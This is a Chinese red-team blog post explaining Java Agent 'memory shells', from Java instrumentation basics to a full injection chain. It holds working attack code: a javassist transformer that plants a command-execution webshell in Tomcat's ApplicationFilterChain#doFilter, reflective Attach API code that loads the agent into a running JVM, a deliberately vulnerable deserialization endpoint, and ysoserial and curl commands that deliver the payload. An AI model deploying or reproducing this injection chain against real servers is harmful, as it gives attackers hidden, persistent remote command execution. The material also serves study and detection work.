前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浅谈 Java Agent 内存马

浅谈 Java Agent 内存马

作者头像
亿人安全
发布2022-06-30 15:32:40
2.1K0
发布2022-06-30 15:32:40
举报
文章被收录于专栏:红蓝对抗

0x00 前言

文章篇幅较长,推荐语雀观看:

https://www.yuque.com/tianxiadamutou/zcfd4v/tdvszq

因为在准备期末考好长时间没更新了Orz

内存马类型一共有四种:Filter型、Servlet型、Listener型以及Agent型

之前介绍过 Tomcat 下的 Filter 型的内存马,今天来学习一下 Java Agent 实现内存马注入,因为看到类似冰蝎,哥斯拉工具的内存马注入都是基于 agent 的,所以来研究学习一下

推荐一个项目:

https://github.com/bitterzzZZ/MemoryShellLearn

这里把一些内存马的文章都进行了归类,同时还有对应的马子,一个非常好的学习项目(没想到本小透明的文章居然能在其中,有点小激动2333)

不扯了正文开始

0x01 前置知识-Java Agent

Java Agent 简介

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法

Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去

说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
  2. 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

启动时加载 agent

从官方文档中可知晓,首先我们必须实现 premain 方法,同时我们 jar 文件的清单(mainfest)中必须要含有 Premain-Class 属性

我们可在命令行利用 -javaagent 来实现启动时加载

premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法

接下来我们来看一下 Demo

首先创建一个类,来实现 premain 的这个方法

代码语言:javascript
复制
import java.lang.instrument.Instrumentation;

public class DemoTest {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{
        System.out.println(agentArgs);
        for(int i=0;i<5;i++){
            System.out.println("premain method is invoked!");
        }
    }
}

接下来创建 mainfest,这里将其保存为 agent.mf ,一定要含有 Premain-Class 属性

ps:注意这里的 mf 一定要有空行

代码语言:javascript
复制
Manifest-Version: 1.0
Premain-Class: DemoTest

利用 javac 将 java 文件编译成 class 之后,利用 jar 命令打包,生成我们的 agent.jar

代码语言:javascript
复制
jar cvfm agent.jar agent.mf DemoTest.class

按照以上步骤我们便可成功生成 agent.jar

然后创建一个普通类作为测试 demo

代码语言:javascript
复制
public class Hello {
    public static void main(String[] args) {
        System.out.println("Hello,Java");
    }
}

Hello.mf

代码语言:javascript
复制
Manifest-Version: 1.0
Main-Class: Hello

同样的利用 javac 编译之后打包成 hello.jar

代码语言:javascript
复制
jar cvfm hello.jar hello.mf Hello.class

至此我们的准备工作已经做完了,最终得到了 agent.jar 和 hello.jar

接下来我们只需要在 java -jar 中添加 -javaagent:agent.jar 即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数

代码语言:javascript
复制
java -javaagent:agent.jar[=options] -jar hello.jar

可以看到我们 agent 中 premain 的代码被优先执行了,同时还获取 到了 agentArgs 参数

动态修改字节码

在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,那么 Instrumentation 实例是什么

Instrumentation

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果

在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据

Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

参考自:https://xz.aliyun.com/t/9450#toc-5

代码语言:javascript
复制
public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}

Instrumentation 提供了 addTransformer,getAllLoadedClasses,retransformClasses 等方法,我们后面由于只用到了这三个所以就只介绍这三个

addTransformer

addTransformer 方法来用于注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器

代码语言:javascript
复制
// 注册提供的转换器
void addTransformer(ClassFileTransformer transformer)

这样当类加载的时候,会进入我们自己的 Transformer 中的 transform 函数进行拦截

getAllLoadedClasses

getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class

运行效果如下:

retransformClasses

retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果

Demo

首先利用 addTransformer 注册一个 transformer ,然后创建一个 ClassFileTransformer 抽象类的实现类,然后 override transform 方法

代码语言:javascript
复制
import java.lang.instrument.Instrumentation;

public class DemoTest {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{
        System.out.println(agentArgs);
        for(int i=0;i<5;i++){
            System.out.println("premain method is invoked!");
        }
        // 注册 DefineTransformer 
        inst.addTransformer(new DefineTransformer(),true);
    }
}

DefineTransformer

我们可以在 transform 中定义自己的逻辑,这里我只是简单的输出了 className 做一个测试

代码语言:javascript
复制
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

// 每当类被加载,就会调用 transform 函数
public class DefineTransformer implements ClassFileTransformer {
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println(className);
        return new byte[0];
    }
}

注意:如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true

代码语言:javascript
复制
Can-Retransform-Classes 是否支持类的重新替换
Can-Redefine-Classes 是否支持类的重新定义

这两个如果不添加的话,当我们执行的时候是会报错的

代码语言:javascript
复制
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: DemoTest

当类被加载的时候就会调用 DefineTransformer 中的 transform 方法,然后我们这里的逻辑就是直接输出加载的类的类名

最后利用内存马注入的例子来介绍一下动态修改字节码的一个逻辑

我们需要修改的肯定是我们指定的类中的某个方法,所以我们这里可以借助 javasist 对字节码进行一个扩充(增加自己的方法)

第一个红框处利用 if 做一个判断,即表示我们只对特定的 classname 的字节码进行处理

第二个红框处则是利用 javasist 来对字节码进行一个动态修改,这样的话我们的恶意方法就会被添加到 ApplicationFilterChain#doFilter 方法中了

启动后加载 agent

上面介绍的 premain 方法是在 JDK 1.5中提供的,所以在 jdk 1.5 的时候开发者只能在 main 加载之前添加手脚,但是很多时候例如我们内存马注入的情况都是处于 JVM 已运行了的情况,所以上面的方法就不是很有用,不过在 jdk 1.6 中实现了attach-on-demand(按需附着),我们可以使用 Attach API 动态加载 agent ,然而 Attach API 在 tool.jar 中,jvm 启动时是默认不加载该依赖的,需要我们在 classpath 中额外进行指定

启动后加载 agent 通过新的代理操作来实现:agentmain,使得可以在 main 函数开始运行之后再运行

和之前的 premain 函数一样,我们可以编写 agentmain 函数的 Java 类

代码语言:javascript
复制
public static void agentmain (String agentArgs, Instrumentation inst)
public static void agentmain (String agentArgs)

要求和之前类似,我们需要满足以下条件

  1. 必须要实现 agentmain 方法
  2. Jar 文件清单中必须要含有 Premain-Class 属性

在 Java JDK6 以后实现启动后加载 Instrument 的是 Attach api。存在于 com.sun.tools.attach 里面有两个重要的类。

来查看一下该包中的内容,这里有两个比较重要的类,分别是 VirtualMachine 和 VirtualMachineDescriptor,其中我们重点关注 VirtualMachine 类

VirtualMachine

VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法LoadAgent,Attach 和 Detach 。下面来看看这几个方法的作用

Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上

代码语言:javascript
复制
VirtualMachine vm = VirtualMachine.attach(v.id());

loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。

Detach:从 JVM 上面解除一个代理(agent)

VirtualMachineDescriptor

VirtualMachineDescriptor 是一个描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能。

所以最后我们的注入流程大致如下:

这里借用奶思师傅的图片

通过 VirtualMachine 类的 attach(pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent(agentJarPath) 来将agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法。

Demo

编写 AgentMain.java

代码语言:javascript
复制
import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
    }
}

编写 DefineTransformer.java

代码语言:javascript
复制
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println(className);
        return classfileBuffer;
    }
}

创建 jar 文件清单 agentmain.mf

代码语言:javascript
复制
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain

分别对上面的 java 文件进行编译,然后利用命令行进行打包

代码语言:javascript
复制
jar cvfm AgentMain.jar agentmain.mf AgentMain.class DefineTransformer.class

至此我们的 AgentMain.jar 就成功生成了

接下来我们需要编写测试类

ps:我这里使用的是mac环境,在mac上安装了的jdk是能直接找到 VirtualMachine 类的,但是在windows中安装的jdk无法找到,如果你遇到这种情况,请手动将你jdk安装目录下:lib目录中的tools.jar添加进当前工程的Libraries中

代码语言:javascript
复制
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class AgentMainDemo {
    public static void main(String[] args) throws Exception{
        String path = "AgentMain.jar的路径";
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor v:list){
            System.out.println(v.displayName());
            if (v.displayName().contains("AgentMainDemo")){
                // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                VirtualMachine vm = VirtualMachine.attach(v.id());
                // 将我们的 agent.jar 发送给虚拟机 
                vm.loadAgent(path);
                vm.detach();
            }
        }
    }
}

执行效果如下:

可以看到成功调用了了 agent.jar,并输出了加载的类名

不过由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar

代码如下:

代码语言:javascript
复制
public class TestAgentMain {

    public static void main(String[] args) {
        try{
            java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
            System.out.println(toolsPath.toURI().toURL());
            java.net.URL url = toolsPath.toURI().toURL();
            java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
            Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
            java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);

            System.out.println("Running JVM Start..");
            for(int i=0;i<list.size();i++){
                Object o = list.get(i);
                java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
                String name = (String) displayName.invoke(o,null);
                System.out.println(name);
                if (name.contains("TestAgentMain")){
                    java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
                    java.lang.String id = (java.lang.String) getId.invoke(o,null);
                    System.out.println("id >>> " + id);
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                    java.lang.Object vm = attach.invoke(o,new Object[]{id});
                    java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                    java.lang.String path = "AgentMain.jar的路径";
                    loadAgent.invoke(vm,new Object[]{path});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
                    detach.invoke(vm,null);
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

0x02 Agent 实现内存马注入

实验环境:Springboot

前面说到由于实际环境中我们通常遇到的都是已经启动着的,所以 premain 那种方法不合适内存马注入,所以我们这里利用 agentmain 方法来尝试注入我们的内存马

其实在上文中如何动态修改对应类的字节码已提过,所以我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求

  1. 该方法一定会被执行
  2. 不会影响正常的业务逻辑

寻找关键类

在前面的几篇文章中我们学习过了 Filter 的内存马,链接:https://www.yuque.com/tianxiadamutou/zcfd4v

我们知道当我们用户的请求到达Servlet之前,一定会经过 Filter ,以此来对我们的请求进行过滤

doFilter 函数作用是依次调用 Filter 链上的 Filter,所以 doFilter 函数是一定会被调用的

同时在 ApplicationFilterChain#doFilter 中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回

漏洞环境搭建

首先我们本地需要有一个反序列化漏洞的环境,我这边简单的弄了一个 cc 3.2.1 的利用环境

代码:

代码语言:javascript
复制
package com.vuln.demo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class CommonsCollectionsVuln {

    @ResponseBody
    @RequestMapping("/cc11")
    public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        return "Hello,World";
    }

    @ResponseBody
    @RequestMapping("/demo")
    public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        return "This is OK Demo!";
    }
}

在 pom.xml 中添加 cc 的依赖

代码语言:javascript
复制
      <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

至此一个简单的反序列化环境就搭建完成了

反序列化注入

主要步骤如下:

  1. 编写 agent.jar 从而实现 org.apache.catalina.core.ApplicationFilterChain#doFilter 进行字节码修改
  2. 利用 cc11 的反序列化漏洞将我们的加载代码打进去,然后使其执行来加载我们的 agent.jar
第一步

源码已传 github :https://github.com/KpLi0rn/AgentMemShell

AgentMain.java

首先注册我们的 DefineTransformer ,然后遍历已加载的 class,如果存在的话那么就调用 retransformClasses 对其进行重定义

代码语言:javascript
复制
import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
        // 获取所有已加载的类
        Class[] classes = ins.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals(ClassName)){
                try{
                    // 对类进行重新定义
                    ins.retransformClasses(new Class[]{clas});
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}

DefineTransformer.java

对 transform 拦截的类进行 if 判断,如果被拦截的 classname 等于 ApplicationFilterChain 的话那么就对其进行字节码动态修改

这里利用 insertBefore ,将其插入到前面,从而减少对原程序的功能破坏

代码语言:javascript
复制
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;


public class DefineTransformer implements ClassFileTransformer {

    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                // 将 c 从 classpool 中删除以释放内存
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

利用 maven 进行打包

mvn assembly:assembly

至此我们的 agent.jar 就编写完毕了

第二步

将我们的代码通过 cc11 进行反序列化打进去

在上一步,我们将 agent.jar 已经编写好了,接下来我们需要编写 java 代码来使其加载进去

大致思路为获取到 jvm 的 pid 号之后,调用 loadAgent 方法将 agent.jar 注入进去

代码语言:javascript
复制
try{
    java.lang.String path = "/Users/xxxxx/Desktop/java/AgentMain/target/AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar";
    java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
    java.net.URL url = toolsPath.toURI().toURL();
    java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
    Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
    Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
    java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
    java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

    System.out.println("Running JVM list ...");
    for(int i=0;i<list.size();i++){
        Object o = list.get(i);
        java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
        java.lang.String name = (java.lang.String) displayName.invoke(o,null);
        // 列出当前有哪些 JVM 进程在运行 
        // 这里的 if 条件根据实际情况进行更改
        if (name.contains("com.vuln.demo.DemoApplication")){
            // 获取对应进程的 pid 号
            java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
            java.lang.String id = (java.lang.String) getId.invoke(o,null);
            System.out.println("id >>> " + id);
            java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
            java.lang.Object vm = attach.invoke(o,new Object[]{id});
            java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
            loadAgent.invoke(vm,new Object[]{path});
            java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
            detach.invoke(vm,null);
            System.out.println("Agent.jar Inject Success !!");
            break;
        }
    }
} catch (Exception e){
    e.printStackTrace();
}

效果实现

这里我直接利用之前修改过的 ysoserial 来快速生成反序列化 payload,地址:https://github.com/KpLi0rn/ysoserial

将上面的代码保存下来,然后在 codefile: 后指定路径即可快速生成

代码语言:javascript
复制
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain.java > cc11demo.ser

利用 curl 直接打过去

代码语言:javascript
复制
curl -v "http://localhost:8080/cc11" --data-binary "@./cc11demo.ser"

可以看到控制台出现如下语句,说明注入成功了

成功进行了回显,至此我们的内存马就注入完毕了

0x03 思考

对比

agent 内存马相比 filter 内存马,会多一步就是我们需要将我们自己的 agent.jar 传到目标上,然后利用代码将 agent.jar 进行注入,注入之后我们就可以将 agent.jar 进行删除,agent 内存马相比 filter 这些内存马相对更难查杀一些,不过网上也有对应查杀 agent 内存马的文章

文章链接:https://mp.weixin.qq.com/s/Whta6akjaZamc3nOY1Tvxg

隐患?

还有就是之前看大哥们说过,在有的环境下agent内存马注入之后网站会崩掉,听他们说是有可能因为虚拟内存不够了而导致的,所以具体使用的话还是需要事先斟酌一下

还有就是关键类寻找不对等情况也有可能导致网站被打挂

0x04 参考链接

https://y4er.com/post/javaagent-tomcat-memshell/

https://xz.aliyun.com/t/9450

https://www.cnblogs.com/rickiyang/p/11368932.html

https://segmentfault.com/a/1190000016601560

https://leokongwq.github.io/2017/12/21/java-agent-instrumentation.html

https://www.cnblogs.com/nice0e3/p/14086165.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前言
  • 0x01 前置知识-Java Agent
    • Java Agent 简介
      • 启动时加载 agent
        • 动态修改字节码
          • Instrumentation
          • Demo
        • 启动后加载 agent
          • VirtualMachine
          • VirtualMachineDescriptor
          • Demo
      • 0x02 Agent 实现内存马注入
        • 寻找关键类
          • 漏洞环境搭建
            • 反序列化注入
              • 第一步
              • 第二步
            • 效果实现
              • 对比
              • 隐患?
          • 0x03 思考
          • 0x04 参考链接
          相关产品与服务
          容器服务
          腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档